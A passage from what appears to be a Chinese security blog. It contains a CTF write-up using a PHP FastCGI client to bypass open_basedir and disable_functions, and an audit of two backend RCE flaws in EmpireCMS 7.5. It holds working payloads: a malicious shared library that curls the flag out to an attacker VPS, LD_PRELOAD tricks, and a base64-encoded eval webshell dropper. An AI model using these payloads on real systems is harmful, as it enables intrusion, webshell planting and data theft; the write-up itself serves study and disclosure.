                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new \Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new \Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new \Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new \Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'hpdoger';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

题目复现

回到这个题目,首先我们找到P神有一篇文章PHP绕过open_basedir列目录的研究

上传一个php到/tmp下,包含之后列一下根目录存在哪些文件

copy('http://vps/log2.txt','/tmp/scandir.php')

*lo2.txt*=>
<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

image_1dkalj2gr1c4434273c1geo1a8e64.png-226.6kB

使用同样的copy方法上传我们的FastCGI脚本,脚本中php_value的值是我们的FastCGI要传给FPM的值用来修改php.ini,并且根据SCRIPT_FILENAME对php文件进行执行/tmp/readflag.php

同时脚本还要修改的地方,就是使用套接字协议去加载socket。Nginx连接fastcgi的方式有2种:TCP和unix domain socket,脚本使用的即第二种形式。根据不同的php版本,找不同的fastcgi的套接字。在0CTF的题目中,大家用的是php7.2默认的FPM套接字/run/php/php7.3-fpm.sock),其实FastCGI/FPM套接字都可以用,但是php5的默认

出题人在tmp目录已经给我们FastCGI的套接字/tmp/php-cgi.sock,直接修改脚本

new Client("unix:///tmp/php-cgi.sock", -1)

同时我们还要上传一个readflag.php文件作为脚本的SCRIPT_FILENAME,这里我让FPM为我们加载这样一个php脚本,成功读到readflag程序。但此时我们仍需要bypass disable_functions

<?php
var_dump(file_get_contents('/readflag'));

image_1dkaqauqt1pud86t1j5rqei74f7e.png-406.1kB

Disable_functions的绕过

FastCGI加载so

看了下Disable_functions留给我们的有putenv()

关于LD_PRELOAD与putenv也就不过多介绍了,飘零师傅文章写的很详细。大意就是把恶意的so文件加载到环境变量中去执行,而so是我们编译出来的c文件,包含rce的语句,这也是当时0CTF的解题思路。

不过在这道题中,没有安装Imagick,也没有mail函数。但是还有一个函数也会调用sendmail去开进程->error_log,后面会复现一下error_log的做法。

那么既然putenv()+函数是把so文件加载到环境变量中再去调用,那么我们fastcgi也完全可以做同样的事,只需要更改一下上面脚本的 php_value给ini添加一个extender就行了

 $php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = hpdoger.so\n

编译一个恶意的c文件hpdoger.c,这里直接用网上亘古不变的写法

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl vps:6666/`/readflag`");
}

通过shared命令编译gcc hpdoger.c -fPIC -shared -o hpdoger.so,依然是通过copy命令上传fastcgi.php和hpdoger.so,此时/tmp下应该有这两个文件

copy('http://vps/hpdoger.so','/tmp/hpdoger.so')

image_1dkatupe71fhkrvopqi1s0a1v5nm.png-272kB

直接包含fastcgi就能加载并调用hpdoger.so->bypass base_opendir->rce

find=.*/e%00&replace=include('/tmp/fastcgi.php')&id=4184&regex=1`

image_1dkatnc0vgq56a717rh1dff1u7s9.png-78.4kB

LD_PRELOAD加载so

前文提到mail被Disable_functions了,但是mail和error_log都调用了外部进程sendmail。这里编写一个php来调用error_log,然后代码执行包含这个/tmp下的php即可rce

<?php
putenv("LD_PRELOAD=/tmp/hpdoger.so");
error_log('',1);
?>

总结

自闭点在于本地环境和远程环境真的是两个概念,mac环境gcc编译和ubuntu的gcc编译出来的东西天壤之别..

帝国(EmpireCMS)7.5的两个后台RCE审计

帝国(EmpireCMS)7.5的两个后台RCE审计

原文首发于先知:https://xz.aliyun.com/t/6228

后台RCE-增加自定义页面

漏洞复现

这个漏洞挖掘最初来源于qclover师傅:EmpireCMS_V7.5的一次审计

但是在这篇复现的文章中还是有一些出入的地方,比如说getshell的具体位置和成因。这里重新跟进分析一下

首先看一下getshell的流程,这个洞有点像黑盒to白盒
image_1dje3gco735q1k5m1f11n071a634r.png-328kB

增加页面功能,会在程序根目录生成一个shell.php,访问为phpinfo结果
image_1djdll0r410dk6ktm7stsgrlm.png-248.3kB

但是在我写入其他木马时,例如<?php @eval($_REQUEST[hpdoger]);?>,根目录却生成了一个空的shell.php文件
image_1djdlqbum1gj217cp2d61d5f1hi613.png-56.4kB

此时就有些疑问,推测真正的漏洞点应该不是在根目录写入一个php,应该另有它径,这里分析一下漏洞产生的真正成因。

漏洞分析

入口在e/admin/ecmscom.php代码48行,跟进函数AddUserpage
image_1djdm53uj1m201n781ncr7ednrr1g.png-431.1kB

重点关注两个参数的流程:path、pagetext
image_1djdm8m8l6ve645da3es96c51t.png-535.4kB

步入RepPhpAspJspcode函数

function RepPhpAspJspcode($string){
    global $public_r;
    if(!$public_r[candocode]){
        //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
        $string=str_replace("<\\","&lt;\\",$string);
        $string=str_replace("\\>","\\&gt;",$string);
        $string=str_replace("<?","&lt;?",$string);
        $string=str_replace("<%","&lt;%",$string);
        if(@stristr($string,' language'))
        {
            $string=preg_replace(array('!<script!i','!</script>!i'),array('&lt;script','&lt;/script&gt;'),$string);
        }
        //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
    }
    return $string;
}

这个函数用来对pagetext参数进行了php标签的实体化,但是empirecms默认public_r[candocode]为null,所以这里相当于直接返回了原始pagetext的值

继续回到AddUserpage函数,接着步入ReUserpage函数,在e/class/functions.php的4281行
image_1djdmv7bv17551oir15kv1do5sg42a.png-298.8kB

获取程序的根路径后拼接传入的path,而后DoFileMKDir在根目录建立了shell.php

接着步入InfoNewsBq函数,也是这个漏洞产生的函数。关键代码在e/class/functions.php的2469-2496行

image_1djdnbjo2pelbn91uh11ks21u8p2n.png-496.3kB

$file参数以php结尾,通过WriteFiletext函数向$file中写入上一步的pagetext(这里为$indextext),而WriteFiletext是没有任何过滤的

function WriteFiletext($filepath,$string){
    global $public_r;
    $string=stripSlashes($string);
    $fp=@fopen($filepath,"w");
    @fputs($fp,$string);
    @fclose($fp);
    if(empty($public_r[filechmod]))
    {
        @chmod($filepath,0777);
    }
}

于是在e/data/tmp目录下,以模版文件的形式写入webshell,同时也将AddCheckViewTempCode()返回的权鉴方法写了进去,所以我们不能直接以url的方式访问这个webshell。
image_1djdo4l1d1gte63t1qcb1a73aho4e.png-278.6kB

但是仍有方法使这个webshell执行并将结果输出。原因在下面这几行
image_1djdnjf5p1b2p1oan4pqn7bd2434.png-564.3kB

由于入口处定义了常量InEmpireCMS,ob_get_contents可以读取缓冲区的输出,而输出正好是刚才我们包含进去的shell的结果。因此执行了phpinfo()后将要输出到浏览器的内容赋值给了$string变量并返回,在ReUserpage函数中又进行了一次写入,缓冲结果写入的根目录下的shell.php,造成一个表面getshell的现象,其实是一种rce。

image_1djdnpbbj180fdns1d2h1bvd1neu3h.png-355.3kB

漏洞修复

设置$public_r[candocode]为true进行写入内容的过滤

后台首页模版处rce到getshell

承接上一个漏洞,整个empirecms不少用到ob_get_contents的地方,所以就想挖掘一下还有没有其他可以利用的点,最后把眼光锁在增加模版处。

漏洞复现

在后台模版功能处,选择管理首页模版,然后点击增加首页方案
image_1djp1p7ed1g6q1vs61qof19pb7cjm.png-226.2kB

复制下面的payload,填写到模版内容处,点击提交。

<?php 
$aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA);
${(system)($aa)};
?>

image_1djp1rm8v2kc1s6l1f3b1g59cjk1g.png-311.9kB

其中base64编码部分为

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA
=>
echo '<?php eval($_REQUEST[hp]);'>shell.php

再点击启用此方案即可getshell,在e/admin/template/目录下生成shell.php

image_1djp21du0o250ocp31lnuad21t.png-64.3kB
image_1djp23v55qua1pa11b021uir1qmp2a.png-278.2kB

漏洞分析

在e/class/functions.php的NewsBq函数中调用WriteFiletext函数向/e/data/tmp/index.php中写入文件并包含
image_1djp2kjth3i01l78dg91q3g1lba2n.png-588.3kB

查找一下哪些地方调用NewsBq函数,最后锁定在e/admin/template/ListIndexpage.phpDefIndexpage
image_1djp2t8jo6ej1l7t1ui9t9i734.png-459.9kB

首先从库里获取得到$r[temptext]作为参数传入NewsBq,此时$class为null。那么文件内容可控吗?查看一下入库的语句,看看存不存在任意写入,全局搜索enewsindexpage

在同文件ListIndexpage.php的第23行到47行,调用insert语句向enewsindexpage中增加数据,关键代码如下

function AddIndexpage($add,$userid,$username){
    global $empire,$dbtbpre;
    if(!$add[tempname]||!$add[temptext])
    {
        printerror("EmptyIndexpageName","history.go(-1)");
    }
    ...
    $add[tempname]=hRepPostStr($add[tempname],1);
    $add[temptext]=RepPhpAspJspcode($add[temptext]);
    $sql=$empire->query("insert into {$dbtbpre}enewsindexpage(tempname,temptext) values('".$add[tempname]."','".eaddslashes2($add[temptext])."');");
    ...
}

调用AddIndexpage的入口为:

$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}

if($enews=="AddIndexpage")
{
    AddIndexpage($_POST,$logininid,$loginin);
}

所以$add$_POST获取的数组,经过一次eaddslashes2函数清洗后以temptext字段存入库,而eaddslashes2在内部调用的是addslashes。猜想开发者最初可能只是为了防止sql注入,而没有进行其他类型过滤。但是我们执行任意命令是可以绕过addslashes的限制,取出来temptext字段来rce。

只需要用到复杂变量:PHP复杂变量绕过addslashes()直接拿shell

整理思路:入库rce语句->取出库->写文件->包含rce->getshell

漏洞修复

对入库语句进行过滤,建议在eaddslashes2中增加一些过滤机制

not found!